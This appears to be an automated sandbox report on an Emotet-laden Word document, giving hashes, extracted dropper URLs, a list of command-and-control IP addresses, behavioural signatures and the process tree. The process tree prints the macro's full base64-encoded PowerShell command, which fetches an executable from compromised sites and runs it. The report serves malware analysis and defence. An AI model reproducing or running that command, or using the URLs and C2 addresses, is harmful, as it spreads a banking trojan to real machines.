Overview

overview

10

Static

static

8

emotet_e2_...oc.doc

windows7_x64

10

emotet_e2_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    71s
  • max time network
    149s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    22/09/2020, 01:43

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    emotet_e2_7aa7d38a55d5f7d01ee40a977a2df63d0cd4c938482a2fba3c73e1844405a0fc_2020-09-22__014233444592._doc.doc
  • Size 216KB
  • Sample200922-9ctat37caa
  • SHA256 7aa7d38a55d5f7d01ee40a977a2df63d0cd4c938482a2fba3c73e1844405a0fc
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://fulfillmententertainment.com/cgi-bin/jO/
  • exe.dropper

    http://meadtimes.com/wp-content/VZrDrTw/
  • exe.dropper

    http://pinturasydecoracionluis.com/wp-admin/fK3/
  • exe.dropper

    http://oconsign.com/cgi-bin/koLViD/
  • exe.dropper

    http://umapreowned.com/wp-admin/XF7RBbs/
  • exe.dropper

    http://kitecorp.ca/wp-includes/kEI98N/
  • exe.dropper

    http://moneyii.com/website/ddeoUDo/

Extracted

Family

  • emotet

C2

  • 24.43.32.186:80

  • 38.111.46.46:8080

  • 134.209.36.254:8080

  • 162.241.242.173:8080

  • 74.120.55.163:80

  • 61.92.17.12:80

  • 219.74.18.66:443

  • 156.155.166.221:80

  • 104.131.44.150:8080

  • 37.139.21.175:8080

  • 94.1.108.190:443

  • 169.239.182.217:8080

  • 220.245.198.194:80

  • 139.99.158.11:443

  • 91.211.88.52:7080

  • 62.75.141.82:80

  • 174.45.13.118:80

  • 137.119.36.33:80

  • 188.219.31.12:80

  • 103.86.49.11:8080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 6 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_7aa7d38a55d5f7d01ee40a977a2df63d0cd4c938482a2fba3c73e1844405a0fc_2020-09-22__014233444592._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1108
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -en JABFAGQAcwBfAGcAOQBhAD0AKAAnAFIAJwArACcAegA3ACcAKwAoACcAcgAnACsAJwBmAGgAZAAnACkAKQA7AC4AKAAnAG4AJwArACcAZQB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBmAEkAbABFAFwARQA1AHUASABGADMARABcAGEAawB2AHkAMwBMAGwAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAFIARQBDAHQATwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBjAFUAcgBgAEkAYABUAFkAUAByAG8AYABUAGAATwBDAE8ATAAiACAAPQAgACgAKAAnAHQAJwArACcAbABzADEAJwApACsAKAAnADIAJwArACcALAAgAHQAbABzACcAKwAnADEAMQAnACkAKwAoACcALAAgACcAKwAnAHQAJwApACsAJwBsAHMAJwApADsAJABTAGMAZgBmAHMANgBxACAAPQAgACgAJwBHADcAJwArACgAJwBxAGEAMgAnACsAJwBvACcAKQApADsAJABOADMAbwB3AGwANQBxAD0AKAAoACcASwAyACcAKwAnAHEAXwAnACkAKwAnAG8AJwArACcAbgByACcAKQA7ACQASAA2AHIAeAB2AG8AZQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAKAAnADYAJwArACcATQBPAEUAJwApACsAKAAnADUAdQAnACsAJwBoAGYAMwAnACsAJwBkACcAKQArACgAJwA2AE0AJwArACcATwBBACcAKwAnAGsAdgAnACkAKwAnAHkAMwAnACsAKAAnAGwAJwArACcAbAA2ACcAKQArACcATQBPACcAKQAuACIAUgBlAGAAcABMAGAAQQBjAGUAIgAoACgAWwBjAEgAQQByAF0ANQA0ACsAWwBjAEgAQQByAF0ANwA3ACsAWwBjAEgAQQByAF0ANwA5ACkALABbAHMAVABSAEkATgBHAF0AWwBjAEgAQQByAF0AOQAyACkAKQArACQAUwBjAGYAZgBzADYAcQArACgAKAAnAC4AJwArACcAZQB4ACcAKQArACcAZQAnACkAOwAkAEcANABlAHQAcQA3AHcAPQAoACcAVgBoACcAKwAoACcAbwAnACsAJwBvADcAJwApACsAJwA2AGsAJwApADsAJABBADIAOQA0ADYAeAB1AD0ALgAoACcAbgBlAHcALQBvACcAKwAnAGIAJwArACcAagBlAGMAdAAnACkAIABOAEUAdAAuAHcARQBiAEMATABJAGUATgB0ADsAJABWADQAdQB3AHQAawBtAD0AKAAoACcAaAB0AHQAcAA6ACcAKwAnAC8ALwAnACsAJwBmACcAKQArACcAdQAnACsAKAAnAGwAJwArACcAZgBpACcAKwAnAGwAbABtAGUAbgB0AGUAJwArACcAbgAnACkAKwAoACcAdABlAHIAdAAnACsAJwBhACcAKQArACcAaQBuACcAKwAoACcAbQBlACcAKwAnAG4AdAAuACcAKQArACgAJwBjAG8AJwArACcAbQAnACkAKwAoACcALwBjACcAKwAnAGcAJwApACsAJwBpAC0AJwArACcAYgAnACsAKAAnAGkAbgAvACcAKwAnAGoATwAvACoAaAAnACsAJwB0ACcAKQArACgAJwB0ACcAKwAnAHAAOgAvACcAKQArACcALwAnACsAKAAnAG0AZQAnACsAJwBhACcAKwAnAGQAdABpAG0AZQBzAC4AYwAnACkAKwAnAG8AbQAnACsAKAAnAC8AJwArACcAdwBwACcAKQArACgAJwAtAGMAbwAnACsAJwBuAHQAJwApACsAJwBlAG4AJwArACcAdAAvACcAKwAoACcAVgBaAHIAJwArACcARAByAFQAdwAnACkAKwAoACcALwAqACcAKwAnAGgAdAB0AHAAOgAvACcAKQArACcALwBwACcAKwAnAGkAbgAnACsAKAAnAHQAdQByAGEAcwB5ACcAKwAnAGQAZQAnACkAKwAoACcAYwBvAHIAYQAnACsAJwBjACcAKQArACcAaQAnACsAKAAnAG8AbgBsAHUAJwArACcAaQAnACkAKwAoACcAcwAuAGMAJwArACcAbwAnACkAKwAoACcAbQAvACcAKwAnAHcAcAAnACkAKwAoACcALQBhAGQAbQAnACsAJwBpACcAKwAnAG4ALwBmAEsAJwApACsAKAAnADMAJwArACcALwAqACcAKQArACcAaAAnACsAJwB0ACcAKwAoACcAdABwADoAJwArACcALwAnACkAKwAnAC8AJwArACgAJwBvACcAKwAnAGMAbwAnACkAKwAnAG4AJwArACcAcwAnACsAJwBpAGcAJwArACgAJwBuAC4AJwArACcAYwBvAG0AJwArACcALwBjACcAKQArACcAZwBpACcAKwAnAC0AJwArACgAJwBiAGkAJwArACcAbgAnACkAKwAoACcALwBrAG8AJwArACcATABWACcAKQArACcAaQAnACsAJwBEAC8AJwArACgAJwAqACcAKwAnAGgAdAB0AHAAJwApACsAKAAnADoALwAnACsAJwAvAHUAbQBhACcAKQArACgAJwBwAHIAZQAnACsAJwBvACcAKwAnAHcAbgAnACkAKwAoACcAZQBkAC4AYwBvACcAKwAnAG0AJwApACsAJwAvAHcAJwArACcAcAAnACsAKAAnAC0AJwArACcAYQBkACcAKQArACcAbQAnACsAJwBpAG4AJwArACcALwAnACsAKAAnAFgARgA3AFIAJwArACcAQgAnACkAKwAoACcAYgBzAC8AKgAnACsAJwBoAHQAdABwACcAKwAnADoALwAvAGsAJwApACsAJwBpACcAKwAoACcAdABlACcAKwAnAGMAbwByAHAAJwApACsAKAAnAC4AYwBhAC8AdwAnACsAJwBwAC0AaQAnACsAJwBuAGMAbAAnACkAKwAoACcAdQBkACcAKwAnAGUAJwApACsAJwBzACcAKwAoACcALwAnACsAJwBrAEUASQAnACkAKwAoACcAOQA4ACcAKwAnAE4AJwArACcALwAqAGgAdAB0AHAAOgAnACkAKwAoACcALwAvAG0AbwBuAGUAJwArACcAeQAnACkAKwAnAGkAJwArACgAJwBpAC4AJwArACcAYwBvAG0ALwAnACkAKwAoACcAdwAnACsAJwBlAGIAcwAnACkAKwAoACcAaQAnACsAJwB0AGUAJwApACsAKAAnAC8AZABkACcAKwAnAGUAbwAnACkAKwAoACcAVQBEACcAKwAnAG8AJwApACsAJwAvACcAKQAuACIAcwBgAFAAbABpAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABVAG8AMABoADMAbAB6AD0AKAAoACcARgB3AHMAMQAnACsAJwB6ACcAKQArACcAaAB6ACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEEAegBxAHgANgBsAHYAIABpAG4AIAAkAFYANAB1AHcAdABrAG0AKQB7AHQAcgB5AHsAJABBADIAOQA0ADYAeAB1AC4AIgBEAG8AYAB3AG4AbABvAEEAZABmAGAAaQBsAEUAIgAoACQAQQB6AHEAeAA2AGwAdgAsACAAJABIADYAcgB4AHYAbwBlACkAOwAkAFUAcgBoAGgAeAA2AGoAPQAoACcARQAnACsAJwByADQAJwArACgAJwBlACcAKwAnAHAAYgBoACcAKQApADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQAnACsAJwB0AGUAbQAnACkAIAAkAEgANgByAHgAdgBvAGUAKQAuACIATABFAE4ARwBgAFQAaAAiACAALQBnAGUAIAAzADAANgA0ADUAKQAgAHsAJgAoACcASQBuACcAKwAnAHYAbwBrACcAKwAnAGUALQBJAHQAZQBtACcAKQAoACQASAA2AHIAeAB2AG8AZQApADsAJABNAGcAXwBwAGoAdwA5AD0AKAAnAE0AawAnACsAKAAnADUAJwArACcAbwA4AGkAdwAnACkAKQA7AGIAcgBlAGEAawA7ACQAUAB3AHAAeQBjAG0AOQA9ACgAKAAnAEgAJwArACcAYgBsAHQAJwApACsAJwB1ACcAKwAnAGgAZwAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFoAagBoAGEAMQBuAHQAPQAoACgAJwBIACcAKwAnAGQAZQAnACkAKwAoACcAdgBwACcAKwAnAGsAagAnACkAKQA=
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1576
    • C:\Users\Admin\E5uhf3d\Akvy3ll\G7qa2o.exe
      "C:\Users\Admin\E5uhf3d\Akvy3ll\G7qa2o.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of WriteProcessMemory
      PID:432
      • C:\Windows\SysWOW64\KBDNO\imm32.exe
        "C:\Windows\SysWOW64\KBDNO\imm32.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        PID:948

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/432-16-0x00000000003C0000-0x00000000003D2000-memory.dmp
        Download

        memory/432-17-0x0000000000240000-0x0000000000250000-memory.dmp
        Download

        memory/948-22-0x0000000000330000-0x0000000000340000-memory.dmp
        Download

        memory/988-23-0x000007FEF7770000-0x000007FEF79EA000-memory.dmp
        Download

        memory/1108-6-0x0000000006E10000-0x0000000007010000-memory.dmp
        Download

        memory/1108-2-0x0000000008790000-0x0000000008794000-memory.dmp
        Download

        memory/1576-9-0x000000001AC20000-0x000000001AC21000-memory.dmp
        Download

        memory/1576-13-0x000000001C370000-0x000000001C371000-memory.dmp
        Download

        memory/1576-12-0x000000001AAD0000-0x000000001AAD1000-memory.dmp
        Download

        memory/1576-11-0x0000000002420000-0x0000000002421000-memory.dmp
        Download

        memory/1576-10-0x0000000002570000-0x0000000002571000-memory.dmp
        Download

        memory/1576-8-0x0000000002360000-0x0000000002361000-memory.dmp
        Download

        memory/1576-7-0x000007FEE9200000-0x000007FEE9BEC000-memory.dmp
        Download